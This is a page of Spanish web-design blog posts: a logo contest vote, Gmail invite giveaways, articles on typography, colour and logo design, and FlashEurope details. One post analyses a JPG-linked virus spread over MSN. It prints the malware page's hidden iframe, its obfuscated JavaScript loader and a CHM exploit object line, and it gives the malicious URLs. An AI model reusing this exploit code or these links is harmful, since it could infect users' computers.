Comunidad de diseño web y desarrollo en internet online

Votación por el nuevo logo de Cristalab

Si, hoy es el día de votación del concurso "Make the Cristal"; fueron enviados 54 propuestas de un nivel altísimo, es increíble la cantidad de diseñadores excelentes que a diario visitan Cristalab.

De las 54 opciones; 26 fueron elegidas en preelección, ya que algunas, aunque muy buenas, no encajaban con el diseño de Cristalab.
Estas entraron a elección privada de los moderadores del foro y ganadores del premio secretos; para terminar con 7 diseños que ahora concursan en la gran final del nuevo logo de nuestra web.

Quiero agradecer de manera especial a todas las personas que participaron en "Make the Cristal"; ha sido una experiencia inigualable y les estoy preparando una sorpresa especial a todos ustedes; son lo mejor MUCHAS GRACIAS :D

Sin mas preámbulos, aquí están, los logos del concurso Make the Cristal

Logo #1

Logo #2

Logo #3

Logo #4

Logo #5

Logo #6

Logo #7


Dejen un mensaje con su voto en el formulario de abajo (Si tienes problemas enviando tu comentario con el voto, intenta desde esta pagina)

Los autores no serán mencionados sino hasta el final de la votación que sera el próximo domingo (O antes, de acuerdo a estadísticas); así que, a votar por nuestro nuevo logo :)

En honor a aquellos que nos enviaron sus propuestas, dejo esta galería donde pueden ver los 26 preseleccionados (Usando clab_Gallery).

Un virus viendo un JPG ¿Por que tardaron tanto?

Me he encontrado con lo que ya había anunciado alguna vez; un virus (pinta de troyano) que con el simple hecho de ver una imagen JPG te infectaba; claro, el de ahora es mucho mas creativo.

Este virus en cuestión, según descripciones de Jesús, se instala en tu PC y en las conversaciones de MSN Messenger te coloca debajo de tu nick una dirección (Que tu no ves) donde ver el JPG en cuestión . . .así que el primer lu... amigo tuyo que te vea en messenger con esa URL, probablemente la abrirá y TOMA YA otro infectado mas y el ciclo continua... larga vida a Internet Explorer

Y esto lo digo porque es precisamente con Internet Explorer con quien se ejecuta el virus, si abres la URL del JPG en Firefox no pasara nada, ya que es invulnerable.
También invulnerables (Según Otro Blog Mas) las maquinas con el Service Pack 2 de Windows XP

Como siempre, no hay antivirus que valga, a menos que lo actualices . . . mañana; o bien, te pases a Firefox (Cuya versión 1.0 empieza su llegada) y te olvides de esos problemas

Ahora a la diversión

Pues que no me he aguantado y le he pedido a Jesús que me pase el link al JPG, así que para los mas osados (Y que no estén usando Internet Explorer) aquí lo tienen
http://www.xf2s.com/msn/wode.jpg
Nota: es probable que después de un tiempo ese link no funcione, así que si estas leyendo esta nota en, digamos un mes, que no se te haga extraño un error 404 ;)

Empiezo a deshuesar el engendro, y este es el código interno que lo compone

Código :

<html>
<iframe src="news.htm" width="0" height="0" frameborder="0"></iframe>
<center><img src="1.jpg"></center>
<html>

Mmm, simples 4 líneas de código HTML; pero el mal se esconde mas allá, donde dice news.htm; Así que voy a buscar el mencionado archivo HTML
http://www.xf2s.com/msn/news.htm


Cuyo codigo es

Código :

<html><head><Meta Name=Encoder Content=»¶Ó­·ÃÎÊ>

<!--The page is protected by HTMLShip XP(Unregistered Version)-->
<META HTTP-EQUIV="imagetoolbar" CONTENT="no">
</head><body>
<script language="javascript"><!--
nJ8="\%shsssH0",gJ86="\%dh\'hHH0";.5200865,sG82=".6982664",
gJ86='ZzEl\@J1eR\]Ia4\ Xj\
<6y0A8F\.H\:\;C\nn\(mvP2Q\'\*tV\^TLh\r3\|\&Sx\#\,
5\=\+Krq\}fpW\>Boi\%csg\[D\{k\\Nw\/\"M\?Gb\)9\-\_7O\`Ud\~Y
\!u\$',nJ8='xYa\?u\ j\<o\\\%\nlBZe\#\{Nr6pWQM1hn\/7\'\]\-\+c
!k2Cs\^O\)g9\`3\,dKi\$\&qUmD\:\|P\;\*LfHE\[\.J8b\}\>
T0\"\=wySv\~VRG\@\rz5\_\(X4tIAF';function nQ62(fW84){"\%d\'\'\'d\'h",l=fW84.length;'Mq533B6B',w='';
while(l--)"\%d7\'\'0\'3",o=nJ8.indexOf(fW84.charAt(l)),
'NM3q3B3W\?\r63',w=(o==-1?fW84.charAt(l):gJ86.charAt(o))+w;
"\%\'khkkh\'",nJ8=nJ8.substring(1)+nJ8.charAt(0),
document.write(w);'MN\@35qBB'};
nQ62("\#J\.DE\;CB\?\n78A\n8\<qe\n\-\nJ\.DE\;CLD\}jrq
\`lGGhEP\'XH\.A\]\<7CQ\n\?\?R\>PA7\.CEH7B\rX\]\'R\>D\<CAD7BP
\n\?J\<\|hPA7\.CEH7B\r\]X\]\'R\>XH\.A\]\<7CQH7\.H7C\<KC\]
\<7Aq\rX\]hJ\<COE\]\<HAC\'y\r\]X\]\'Ry\$prrR\|h\r\]X\]\'Rh\|XH
\.A\]\<7CQH7\.H7C\<KC\]\<7Aq7\<\=BWA7\.CEH7\'yD\<CAD7BP
\n\?J\<yRhPA7\.CEH7B\r7X\]\'\<R\>EP\'XH\.A\]\<7CQ\?\nN\<DJ33
\=E7XH\=QJEX\<V\nDR\>EP\'\<Q\=gE\.gIqjRD\<CAD7BP\n\?J\<h
\|\|hEP\'XH\.A\]\<7CQ\?\nN\<DJR\>XH\.A\]\<7CQ\.\n\;CAD\<a
\-\<7CJ\'a\-\<7CQS5\(da\}5\*\"RhXH\.A\]\<7CQH7\]HAJ\<XH
\=7q\r7X\]h\|\<\?J\<\>XH\.A\]\<7CQH7\]HAJ\<A\;q\r7X\]h\|h8
\*zGqjcjjh\-Ollq\&cjchPA7\.CEH7B\rX\=J\'R\>\=E7XH\=QJC
\nCAJBqByOg\<B\;\n8\<BEJB\;DHC\<\.C\<XBVNBMOS\)dgE\;
BZ\+yhJ\<COE\]\<HAC\'y\rX\=J\'Ry\$jrrRh\|h\rX\=J\'RhX\ 
\&zql\{\`Gh\.njlqcrzchPA7\.CEH7B\rXXJ\'R\>EP\'XH\.A\]
\<7CQ\n\?\?R\>XH\.A\]\<7CQH7J\<\?\<\.CJC\nDCqPA7
\.CEH7B\'R\>D\<CAD7BP\n\?J\<\|hJ\<COE\]\<HAC\'y
\rXXJ\'Ry\$zrrR\|\|h\rXXJ\'RhV\+zlq\`cj\&h\.dp\{qp\`\&\{hC\}
GjqjcjlhP\ \`pqc\`\&lh\<\*Gpq\`lG\{hC\
(\{\`qzlGphTa\{pq\`\&\{hh\r\?E\.\<7J\<X\rCH\rqyyh\#wJ\.DE\;CL")
//--></script>
<sCRIPt LANGuAge=JavAsCrIpt>
nQ62("\{soisl\:olZ\[4USJE4oSZ8sruoUS4\[8\*ulrh\'E\'onSf
\`7\{ER\#oJsZ4lslUSd\$\<6\@n8\r\[s8h\-9s\-uh\;\[uohyyJh
\"\;EEM\-9sAxT\*ls9Pyso8sMJ9\-hhyso8sM9s\-SZsr\*oUSsoisyi
\r8J\:\[\*suosSf\{yER\#oJsf\`7\{ysoisl\:olf\`7\{8J\:\[\*sZul
\'bFlboUS\#l\+l8J\:\[\*sSf\`74EJF\-o\'sMw\:\[so\]JE4oM\+luFoM
\:o\*ulJo\]y\"xT\*ls9Pyb\&uEJls\[E\'M9\:o\;M8FR8s\:\[\'b\]6\&uEJls
\[E\'M9\:o\;M\[\'4oi\_\;\]2\'ow8M9s\-2GGGGn\`7\{y8J\:\[\*sf
\{slRuoZRE\:4o\:U6Zw\[4s9U\<66\.Z9o\[b9sU\!qZJouu8\*lJ\[
\'bU6ZJouu\*l44\[\'bU6f\{s\:f\{s4Zw\[4s9U5q\.Z9o\[b9sU\<
\@f\{Ru\[\'0f\{\-l\:\|Foof\)9oZ\*lboZ\[8Z\*\:EsoJso4ZRrZ1\)
vgK9\[\*\{y\-l\:\|Foof\{yRu\[\'0f\{ys4f\{s4Zw\[4s9U\!q\.Z9o
\[b9sU\<\@f\{8s\:E\'bf\{lZ9\:o\;U9ss\*hyywwwM0l\[89o\'bM
\'osy9s\-u89\[\*y\:ob\[8so\:M9s\-fcEwo\:ZRrZ1\)vgK9\[\*\{ylf
\{y8s\:E\'bf\{ys4f\{ys\:f\{yslRuof")</script></body></html>

Ah claro, ya entendí! :shock:
Aunque la verdad esta encriptado con la utilidad mencionada (Que por cierto esta unregistered, estos programadores de virus de hoy en día ¬_¬ ); sin embargo saltarse esa encriptación es pan comido y del código desencriptado que me sale (Que por cierto es muy aburrido y tiene un aviso de registrar el mentado programa) resalto estas líneas

Código :

<object data="ms-its:mhtml:file://c:\foo.mht!${path}/test.chm::/test.htm" type="text/x-scriptlet"></object>

Este SI es el virus; un simple object que ejecuta un CHM (Compiled HTML) que tiene un código maligno que desde HTML ejecuta el código que hace funcionar a todo el virus; así podría seguir el desensamble, pero como ya esto se pone aburrido diré que actualmente Firefox ha dejado de ser un navegador de lujo a convertirse en una necesidad latente dados los hechos
No le den click a los vínculos que hacen referencia al HTML y al JPG si son usuarios de Internet Explorer; aunque, de hecho, deberían pensárselo a partir de hoy un poco mas si son usuarios de Windows antes de abrir cualquier JPG xD


¿Tiempo de cambiarte a Firefox (O a mozilla o a Opera o a Linux ^_^)?

24 Cuentas de GMail para regalar, ... si, 24

Pues suena un poco increíble, ¿no?; tengo 24 invitaciones para GMail, el correo electrónico de Google de 1Gb, que regalare a las primeras 24 personas que dejen un mensaje AQUÍ; solamente deben cumplir estas tres condiciones
  1. Deben estar registrados en Cristalab
  2. Deben dejar su mensaje como usuarios registrados en ESTE LINK
  3. Deben colocar un nombre (No importa que sea falso) y un correo que no sea de hotmail o yahoo para poder enviarles la invitación

Sin mas que decir, las primeras 24 personas se llevan las 24 invitaciones... creo que ya nadie se quedara sin correo de un giga

Fundamentos basicos del diseño web

La madrugada, sigues sentado detras de tu monitor viendo páginas web, decides meterte un rato en Worst of the Web, y ver qué atrocidades se han cometido este mes... el resultado, es más horrible del que esperabas (p. ej. Pork Jerky esta web parece mentira pero esta hecha en el 2004). ¿Realmente cuesta tanto hacer algo bueno visualmente?

El arte del diseño gráfico/web precisa de años de estudio y práctica, es imprescindible el dominio de la tipografía, las simetrías, espaciados, y un sinfín de cosas que la gente ignora conscientemente, pero que agradecen visualmente como no se imaginan.

Lo cierto, es que la mayoría interpreta que el diseño es hacer que nuestras páginas sean visualmente bonitas, pero con eso no basta, nosotros como diseñadores debemos transmitir una idea y un sentimiento al navegante, y que todo esto se produzca de una manera clara y concisa. Para transmitir estos sentimientos deberemos usar correctamente las técnicas siguientes:
  • Tipografía
  • Teoría del color
  • Espaciado y composición
Tipografía

Empezaremos hablando básicamente sobre la tipografía en internet, la cual tiene sus propias reglas, aunque como en el diseño gráfico la regla principal es que todo sea legible, es algo así como la regla de oro de las tipografías (si no se puede leer no mola).

A la hora de trabajar con nuestros textos podemos separar en dos grupos, títulos y cuerpos de texto o mensajes.

Para los primeros necesitaremos letras generalmente gruesas y detalladas. Es muy recomendable que las tipografías escogidas para los títulos concuerden perfectamente con el diseño de la página y también tendremos que tratar su color con mucho cuidado, ya que el color en los títulos expresa mucho, pero esto lo veremos más adelante.

Para los segundos deberemos usar tipografías "Lisas" (Arial, Verdana), nunca con "Serifa" (Times). Aquí tenéis una imagen de ejemplo:

Las tipografías Lisas son mucho más legibles en un monitor porque al ser más rectas, son más factibles de dibujar por el monitor, en cambio las tipografías con Serifa tienen muchos más detalles y a tamaños pequeños se hace poco legible en una pantalla, que no en papel.

También debido a la tecnología Flash principalmente (si es que somos raritos) surgieron las Pixel Fonts, unas tipografías especialmente diseñadas para que éstas se viesen bien a un determinado punto, ya que "caían" justo en el píxel del monitor. Éstas fuentes han tenido mucho éxito y son muy recomendables usarlas en Flash, ya que hacen los textos muy legibles y no se ven borrosas las letras.


Teoría del Color

Aunque parezca mentira, los colores de los objetos nos transmiten emociones muy fuertes, pese a que, generalmente no nos demos cuenta de ello. Los hospitales carecen de color rojo, pues éste es asociado a la sangre, y en las oficinas suele predominar el blanco que denota orden y pulcritud (en las BOFH Room predomina el color verde placa base).

¿Acaso os imagináis trabajando en unas oficinas de color rojo? Sería demasiado estresante, pues es un color de un fuerte impacto visual y que tiene mucha fuerza y energía. Esto son claros ejemplos de como en la actualidad estamos usando los colores para nuestro beneficio, para trabajar mejor, para estar más tranquilos, etc.

Algunas de las cosas más importantes que debemos saber del color son:
  • El color y su expansión
  • Armonía y contraste
  • Significado del color

El color y su expansión

Probablemente alguna vez os hayáis preguntado por qué la mayoría de las páginas web que hay en internet tienen un fondo claro y no negro. De hecho, las páginas que tienen un fondo negro suelen quedar peor. Esto se debe al carácter expansivo de los colores, no se verá igual un texto sobre fondo negro que blanco:



El texto sobre fondo blanco es más legible y por lo tanto el lector debe forzar menos la vista, sintiéndose agradecido. Esto también lo podemos ver en colores claros y oscuros, no es algo que suceda únicamente en blanco y negro.



En estos dos dibujos parece que el de la izquierda tienda a expandirse y a hacerse más grande, todo lo contrario que en el de la derecha. Eso es debido a que el color oscuro comprime la figura del medio. Estas técnicas las usaremos cuando queramos que una parte de nuestra web quede cerrada o abierta.

Armonía y contraste

Armonía: Crear una gama de colores para nuestra web que este compuesta por colores de la misma gama o tono. Por ejemplo, CLab es una web con colores armónicos, ya que usa el mismo color y diferentes tonalidades del mismo.



Contraste: Combinar diferentes colores para crear una gama como, por ejemplo, claros y oscuros, cálidos y fríos, etc.



La combinación de los diferentes colores, tanto si armonizamos como si contrastamos, suele generar diferentes impresiones sobre un mismo objeto. El uso correcto de los colores en el fondo como en el frente es una de las principales bases del éxito de un buen diseño.



Significado del color

Esta es una de las cosas que más me apasionan del color, su significado. ¿Pero cómo un color puede significar algo? Pues sí, aunque estos significados varían un poco según las culturas, ya que por tradición es posible que el amarillo signifique mala suerte en algunas partes y en otros no. Ésta es una recopilación de diferentes significados extraídos de algunas páginas web.

Blanco .
Se halla en el extremo de la gama de los grises.. Es un color latente por su capacidad de potenciar los otros colores vecinos. El blanco puede expresar paz, soleado, feliz, activo, puro e inocente. El blanco es el fondo universal de la comunicación gráfica.

Negro .
Al igual que el blanco, también se encuentra en el extremo de la gama de grises. Es el símbolo del silencio, del misterio y, en ocasiones, puede significar impuro y maligno. Confiere nobleza y elegancia, sobre todo cuando es brillante.

Gris .

Simboliza la indecisión y la ausencia de energía, expresa duda y melancolía.
Los colores metálicos tienen una imagen lustrosa, adoptando las cualidades de los metales que representan. Dan impresión de frialdad metálica, pero también dan sensación de brillantez, lujo, elegancia, por su asociación con los metales preciosos.

Amarillo
Es el color más luminoso, más cálido, ardiente y expansivo. Es el color del sol, de la luz y del oro, y como tal es violento, intenso y agudo. Suelen interpretarse como animados, joviales, excitantes, afectivos e impulsivos. No es recomendable usarlo como color principal de nuestra página, pues tiene demasiada fuerza y tiende a cansar al visitante.

Naranja
Posee fuerza activa, radiante y expansiva. Tiene un carácter acogedor, cálido, estimulante y una cualidad dinámica muy positiva y energética.

Rojo .
Significa la vitalidad, es el color de la sangre, de la pasión, de la fuerza bruta y del fuego. Está ligado al principio de la vida, expresa la sensualidad, la virilidad, la energía; es exultante y agresivo. El rojo es el símbolo de la pasión ardiente y desbordada, de la sexualidad y el erotismo.

Azul .
Es el símbolo de la profundidad. Inmaterial y frío, suscita una predisposición favorable. La sensación de placidez que provoca el azul es distinta de la calma o reposo terrestres, propios del verde. Expresa armonía, amistad, fidelidad, serenidad, sosiego... y posee la virtud de crear la ilusión óptica de retroceder. Este color se asocia con el cielo, el mar y el aire. El azul claro puede sugerir optimismo. Cuanto más se clarifica más pierde atracción y se vuelve indiferente y vacío. Cuanto más se oscurece más atrae hacia el infinito.

Violeta .
Es el color de la templanza, de la lucidez y de la reflexión. Es místico, melancólico y podría representar también la introversión. En sus tonos más claros se vuelve un poco triste, en los más oscuros representa grandeza.

Verde .
Es el color más tranquilo y sedante. Evoca la vegetación, el frescor y la naturaleza. Es el color de la calma indiferente: no transmite alegría, tristeza o pasión. Cuando algo reverdece suscita la esperanza de una vida renovada.

Marrón .
Es un color masculino, severo, confortable. Es evocador del ambiente local otoñal y da la impresión de gravedad y equilibrio. Es el color realista, tal vez porque es el color de la tierra que pisamos.

Espaciado y composición

Llegados a este punto yo suelo recomendar que visiten muchos websites de calidad, y se fijen cómo han montado la web, porqué han utilizado ese color ahí y no otro, cómo han espaciado sus textos, etc... pero aún así hay algunas cosas que suelen ser básicas y veremos aquí.

Deja que tu texto 'respire'

No se si es un término correcto decir que el texto 'respire', pero es la expresión que utilizo cuando quiero que mi web sea legible. En estas dos imágenes de aquí abajo podemos ver como una tiene el texto muy pegado a la imagen y su interlíneado es muy bajo para el tamaño de letra escogido, haciendolo confuso para la lectura. La otra imagen en cambio, se lee perfectamente.

] [

Este es un buen ejemplo de cómo hacer que nuestros textos no se vean compactados. También es importante saber que el espaciado entre líneas suele ser un 20% superior al tamaño de la letra, por ejemplo, para un tamaño de letra de 10 puntos pondremos 12 puntos de interlineado.

Colocando nuestros elementos

La posición de nuestros elementos en la pantalla es uno de los puntos más importantes a la hora de hacer nuestro diseño, pues no es lo mismo colocar una imagen arriba que abajo, con un texto al lado o sin el, que sea una imagen grande o pequeña y así infinidad de detalles que dotarán a nuestra página de personalidad.

Un buen ejemplo de cómo componer una web con imágenes y texto adecuadamente puede ser la página principal de Macromedia la cual usa eficientemente el espacio entre líneas, y posiciona las imágenes por tamaño y relevancia.



En esta captura podemos ver como Macromedia ha utilizado una gran imagen para mostrar un nuevo producto, y luego tiene pequeñas imagenes para embellecer y dotar de detalles las partes con más texto.

Es importante colocar pequeñas imágenes cerca del texto, las cuales tendrán dos funciones Primero que el usuario tenga una información visual sobre lo que va a leer, atrayendo la atención del visitante hacia donde queremos, y segundo, hacer más atractiva la página, pues, todo el mundo se hecha para atrás (normalmente cerrando la página y maldiciendo varias veces) cuando ve una web que es sólo texto.

Qué nos dejamos en el tintero

Bueno, pues realmente muchas cosas, pero qué esperabas?? Como ya dije antes el diseño gráfico es algo que tarda muchos años en aprenderse, pero con un poco de esfuerzo podrás realizar bonitas webs en un par de años sin tener ningún tipo de idea en lo referente al diseño. Verás como mientras vas practicando irás mejorando paulatinamente y el día menos pensado visitarás una antigua web tuya con el consiguiente susto y pensarás... ¿Pero cómo pude hacer algo taaan cutre?

¡¡MWAAHAHAHAHAAHA!!

Referencias:

http://www.newsartesvisuales.com/
http://www.desenredate.com/
http://www.weblogicnet.com/

Normas basicas para el diseño de un logo para la web

Hace muy poco se propuso en Cristalab el rediseño del logo, por medio de un concurso (En el que aun puedes participar), esto originó en mi una buena idea para el weblog:

Normas Básicas para el diseño de un logotipo orientado a la web

En la batalla por conseguir cuota de mercado y clientes fieles, el logotipo constituye una de esas armas que resultan esenciales. Establecen los cimientos sobre los que se edifica una buena identidad corporativa, sobre los que van creciendo las marcas comerciales y en los que se construye la cultura de empresa.
El logotipo es el medio mas inmediato de comunicar.
Es "la primera impresión".

¿Que es un logotipo?

Un logotipo es la marca distintiva de una compañía, un producto, un servicio o una gama de productos o servicios de una misma fuente.

Puede ser bidimensional (cuando hablamos de bidimensional se refiere a que no tiene degradados, sombras, brillos, etc.), tridimensional y monocromático o en color, aunque por lo general existe una versión bidimensional de todo logotipo tridimensional y una en blanco y negro de todo logotipo en color.

Entendemos por "logotipo" al que usa solo tipografía como marca (ej. Siemens)

Entendemos por "Isotipo" al que usa solo un icono como marca (ej. Nike)

Entendemos por "Isologo" al que usa tipografía e icono. (ej. Flash )

Esto es importante saberlo a la hora de estudiarlo ya que son cosas diferentes,

logo = palabra (tipografía)

Iso = icono (imagen figurativa o abstracta)

Isologo = el conjunto de los dos



aunque universalmente se entienda por marca la palabra "logotipo" o bien "logo" :)

Forma <--> Logo

Muchas veces nos encontramos con el conflicto de un cliente que tiene una empresa que se dedica a, por ejemplo, la "traducción", por lo que su actividad es netamente abstracta, y nos volvemos locos tratando de reflejar en el logo la actividad de la empresa, esto es un gran error, pues un logo es un símbolo que representa a una empresa, y que no tiene porque en sus formas reflejar la actividad. Si nos fijamos un poco las grandes marcas (que perduraron en la historia), su forma no dice nada! Por ejemplo, Apple tiene un isotipo en forma de manzana que poco tiene que ver con ordenadores, Nike una curva rara que muchos atribuyen a la de una tilde pero , vamos, que tiene que ver una tilde con los deportes?, y mas abstracto aún por ejemplo el Isologo de Mercedes Benz, una estrella de tres puntas.

Concluimos que el logo puede o no tener que ver en su forma con la actividad de la empresa. Lo demuestra la historia de los logotipos.

Color <--> Logo

Otro tema al que muchas veces no damos importancia es al uso del color en un logotipo, cuando es uno de los mas importantes.

Aquí ya empezamos a ver y a preguntarnos sobre la versatilidad que necesita mi logo, pues se debe ver bien tanto en la papelería comercial, en el bronce de la entada del local y en el sitio web! ( :shock: pero mi logo tiene 6 capas de degrade?!!! XD), suele pasar que, por el uso indiscriminado de colores, luego surgen mil problemas a la hora de plasmar el logo.
Mundialmente conocido el logo de apple nació conceptualmente con varias bandas de colores al que por diferente$ motivo$ terminaron rediseñando a un solo color (blanco o negro de acuerdo al fondo). Salvo excepciones de las que ya hablaré conviene que un logo tenga la menos cantidad de colores posible.


Iso <--> Logo

La relación iso (icono) con logo (letras) es muy importante, el iso no puede ser en relación al logo mas grande ( el icono no puede ser mas grande que la letra), pues a la hora de reducirlo para cualquier eventualidad, se perdería la legibilidad del logo. De la misma manera si la tipografía es grande en relación al iso al reducirlos este se perdería.

Versatilidad orientada a un fin

Según la escuela mas antigua del diseño, un logotipo tiene que ser "perfectamente versátil", es decir "tu logo tiene que ser un cuadrado negro" XD de esta manera quedará bien en el papel higiénico, en la papelería comercial, en una web, tallado en madera, se mantendrá cuando se lo reduzca a un 5% para introducirlo a un pin, y seguirá vivo luego de fotocopias de fotocopias, etc
En una palabra, perfecto, pero no lo es por carecer de lo que perseguimos que es lo atractivo; que de alguna manera nuestro logo genere una empatía para con el consumidor.

Por lo que la versatilidad debe estar orientada a un fin, trataré de explicarme con ejemplos, apple se vio en la necesidad de rediseñar su logo bajándole la cantidad de colores a uno, por que para hacer un papel carta tenía que hacer una cuatricromía, para la manzanita multicolor que aparece en el monitor o en tu Quadra (cpu), tenia que hacer todo un proceso de producción impresionante
Vieron que en definitiva (el "fin") convenía hacer su logo monocromático, de la misma manera un Banco (una entidad financiera), debe pensar que su logo será visto mas que nada sobre papel ahí reside el "fin".

Por el contrario, por ejemplo google se da el lujo de contener no solo mas de 3 colores sino que aplica sombras y brillos, y hasta juega con algunos gags efímeros en su web, pero es ese el "fin" de su símbolo, es donde mas se usa.

Antes de realizar un logo, mira Matrix , luego piensa cual es el "fin" de este logo ... ¿Como m|@%&"# se cual es exactamente el fin?, solo piensa: "De todos los lugares en los que mi logo será plasmado, cual de ellos será el que mas contacto visual tenga con el consumidor" ... pues ese, quieras tu o no, es el "fin", el objetivo primordial de tu logo.

PD: Me deje en el tintero algunos temas importantes, pero esto se hacía eterno, así que espero en futuros articulos seguir con esto!
PD2: lo de ver matrix es solo un mensaje subliminal :)

Tu también puedes cambiar el logo de Cristalab, aun

Por bastantes peticiones de nuestros usuarios hemos decidido aumentar el tiempo para enviar logos que participen en el concurso Make The Cristal; con el que tu, puedes cambiar el logo de Cristalab; las bases del concurso se encuentran aquí, les recuerdo que pueden enviarlo en cualquier formato al correo [email protected]

Todos los que envien una propuesta de logo les será entregada (En caso de que no tengan aun) una cuenta de GMail, el correo de 1Gb de Google, no te preocupes que hay muchas ;)

La fecha limite se moverá hasta el Viernes 17 de Septiembre, ¿Qué esperas?, si eres diseñador, sabes diseñar o te manejas en áreas afines, envíanos tu propuesta; puedes enviar mas de una si así lo deseas :D

La verdad oculta detrás de FlashEurope

Al fin han llegado noticias oficiales; como precios y de que va cada cosa; la web ya esta completa y la pueden visitar. FlashEurope
Pero en ingles y como muchos de ustedes no son amigos del idioma o de leer masas de texto comercial, tratare de resumir lo importante y con información clara, explicar el tema.

Tres días de talleres técnicos, seminarios, casos de estudio, grandes hits de la industria, torneos de ActionScript, competición de Flash Video Jockeys (Algo así como un Disc Jockey de fiesta, pero en vez de mezclar sonido en vivo, mezcla videos FLV) y claro, el padre de todas las conferencias, el Flash Film Festival (Los oscares de Flash).

Serán 42 seminarios y 17 horas de "pregúntale por una hora al sabio" en la que te ponen al frente un guru de Flash para que lo fusiles pidiéndole desde como hacer un café usando ActionScript hasta ese motor 3D para Doom3 hecho con OOP que siempre quisiste programar
Esta es tu oportunidad para al fin preguntarle a alguien como hacer una precarga que funcione xD

La competencia de maestros del ActionScript esta abierta al público (Puedes participar con tu(s) FLA); claro, con ciertas condiciones
  • Cualquiera puede participar con una o troposcientas mil opciones de FLA
  • ActionScript 1 o 2; nada de scripts externos o del lado del servidor
  • Máximo 16 Kb por archivo SWF
  • El jurado usara el Flash Player 7 ... así que mejor pruébalo en ese antes
  • Los envíos, desde el 1 de Septiembre hasta el 16 de Octubre

Y otra cantidad de detalles que mejor se los leen ustedes aquí

Y viene el detalle más doloroso. . . ¿Y cuanto me vale?

EL PRECIO (Oh si)

Sí te registras antes del 3 de Octubre te valdrá
    304 Euros – 370.4 Dólares

Sí te registras después y hasta el 2 de Noviembre
    385 Euros – 469.25 Dólares

Sí eres un pobre estudiante y vives al diario (Y tienes carné vigente) te tienen en cuenta
    244 Euros – 297.3 Dólares

Como te ha quedado la cara después de ver los precios de entrada a FlashEurope y, si no eres de Barcelona, sumarlos al precio del viaje
    NO TIENE PRECIO

Es cierto que es costoso, pero en realidad lo vale, la cantidad de conocimiento bombardeado a tu mente (Aparte que las conferencias BOFH a las salidas del seminario van a ser brutales) será totalmente equivalente al precio.
Xavi, en tus manos encomiendo mi espíritu.

Pues aquí esta la información, lo mas detallada y aun así resumida posible; ya veremos si el destino y Cristalab me permite aparecer de "Enviado Especial y Reportero Oficial" en FlashEurope (O si me hacen firmar un NDA a la entrada)
¿Alguno de ustedes es de Barcelona?, ¿Han pensado ir?, ¿Han pensado participar en la competencia de ActionScript?

En la puerta de tu casa 3 DVDs con Suse Linux GRATIS

Ya se que me he pasado con el GRATIS del titulo; pero es que es para no creer.

Novell, una empresa que estos últimos dos años ha mostrado un compromiso increíble con la comunidad del software libre y Linux en general esta regalando (Así es regalando) 3 DVDs con todos sus paquetes estrella para servidor y cliente de SuSe Linux, una excelente distribución para escritorio o servidor con uno de los mejores paneles de control del mundo Linux (YaST)

Al principio, cuando nuestro moderador del foro de Linux, Andrex, escribió este post anunciándolo no me lo creía; pero he visto en barrapunto, y Linuca que es mas que cierto y que de hecho ya a muchos les ha llegado

Te lo envían a cualquier parte del mundo y tu solo debes llenar una sencilla encuesta con tus datos

Que estas esperando, pide tus 3 DVDs totalmente gratuitos de SuSe y los tendrás de 7 a 10 días en la puerta de tu casa. . . ahora si que no hay excusa para hacer "el gran salto".

Pedidos: http://www.novell.com/community/linux/order.php

Este año, FlashEurope en Barcelona

Primero que todo, disculpas a mis amigos Toni, Jesus, Xavi y ElecAsh por el comic de hoy [#28] (Y dejo constancia que ya se los había advertido y no pueden demandarme ya que gozo de inmunidad diplomática).

Como bien lo explica el comic de esta semana; FlashEurope es una gran conferencia de Flash que reunirá a grandes maestros de Flash y ActionScript de todas partes del mundo en una muestra del poder de desarrollo, integración y flexibilidad de nuestra herramienta favorita (A ver si nos sacamos de encima de una buena vez la mala fama de intros inútiles y banners intrusivos)

Entre las actividades a realizar estarán:
  • Flash Film Festival Europeo
  • Competencia de maestros del ActionScript
  • Casos de uso de tecnología
  • Seminarios técnicos de trabajos, en profundidad
  • Seminarios de "inspiración"

Será los días 3, 4 y 5 de Noviembre, tendrá lugar en la Universidad Autonoma de Barcelona y veremos muestras de trabajos y tecnología bastante impresionantes.

De momento solo puedo adelantar que Xavi Beumala de code4net.com y el grupo 5dms.com prepararan una conferencia de "Programación Extrema", tal y como lo describe Xavi en su blog.

La lista de ponentes de esta conferencia en si, es intimidante y ya esta publicada en el weblog de FlashEurope.

De mi, aun tengo pendientes muchas cosas, pero espero poder estar en Barcelona para Noviembre.

Para los que vayan a asistir les recuerdo que es un delito federal en 120 países tomarme fotografías y así mismo publicarlas; y que me avisen para ver si montamos alguna actividad Cristalabense por allá

Saludos y ya veremos si nos veremos por allá

4 cuentas de GMail para regalar

Si señores!!! Hoy estoy especialmente amable (Es mi día amable del año así que hay que aprovechar; el resto de los días sigo siendo el Bastard Operator From Hell de siempre) y tengo 4, SI, 4 cuentas de GMail para regalar

Las primeras 2 personas que coloquen un mensaje aquí se llevan las primeras dos cuentas; las otras 2 las entregare a las primeras 2 personas en participar en el concurso Make the Cristal, enviándome una propuesta de logo para cambiar el actual de Cristalab (Mas detalles aquí)

Quieres probar el correo de 1 Gb de Google, entonces, ¿Qué esperas?; solo deja tu nombre (Puede ser falso) y un correo que no sea ni de hotmail ni de MSN a donde mandarte la invitación ^_^

« Ver más nuevos 1 ... 106 107 108 109 110 111 112 113 Ver más viejos »